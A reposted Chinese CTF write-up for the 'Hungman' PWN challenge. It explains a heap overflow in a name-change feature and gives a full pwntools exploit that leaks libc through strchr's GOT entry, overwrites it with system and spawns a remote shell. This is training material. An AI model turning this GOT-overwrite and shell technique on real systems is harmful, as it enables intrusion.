欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

攻防世界PWN之Hungman题解

程序员文章站 2022-04-25 20:28:37
...

Hungman

首先,检查一下程序的保护机制

攻防世界PWN之Hungman题解

然后,我们用IDA分析一下

最开始输入名字,根据名字长度申请堆

攻防世界PWN之Hungman题解

当我们打赢游戏,更改名字时,可以出现溢出

攻防世界PWN之Hungman题解

之前的堆依然还是那个,而我们的输入的内容可以变得更长,导致溢出到下一个堆块,而下一个堆块正式游戏数据的结构体,我们就可以篡改,改成函数的got表地址,再次打赢游戏,就能泄露信息,同理,再来一次,修改got表

而这个游戏是一个猜字母的游戏,并且是这样记分数的

攻防世界PWN之Hungman题解

要猜的字母个数等于我们输入的用户名长度

攻防世界PWN之Hungman题解

我们如果输入长度大于26的名字,然后从a到z猜,就一定可约获胜

我们完整的exp脚本

#coding:utf8
from pwn import *
from LibcSearcher import *

#sh = process('./hungman')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
sh = remote('111.198.29.45',48979)
elf = ELF('./hungman')
strchr_got = elf.got['strchr']
system_s = libc.sym['system']
strchr_s = 0x89AB0

def winGame():
   for x in string.ascii_lowercase:
      ans = sh.recv()
      if 'High score! change name?' in ans:
         break
      if 'Continue?' in ans:
         sh.sendline('y')
      #print ans
      sh.sendline(x)
      sleep(0.2)

sh.sendlineafter("What's your name?","a"*0x30)
winGame()


sh.sendline('y')
sleep(0.5)
payload = 'b'*0x30
#溢出到结构体的内存位置处
payload += p64(0) + p64(0x91)
#score   name_len
payload += p32(0x100) + p32(0x100)
#name buf
payload += p64(strchr_got)

sh.sendline(payload)
sh.recvuntil('Highest player: ')
strchr_addr = u64(sh.recvuntil(' score:',drop = True).ljust(8,'\x00'))
libc_base = strchr_addr - strchr_s
system_addr = libc_base + system_s
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)

sh.sendlineafter('Continue?','y')
winGame()
sh.sendlineafter('High score! change name?','y')
sleep(0.2)
sh.send(p64(system_addr))

sh.sendlineafter('Continue?','y')
winGame()
sh.sendline('y')
sleep(0.5)
sh.sendline('/bin/sh')

sh.interactive()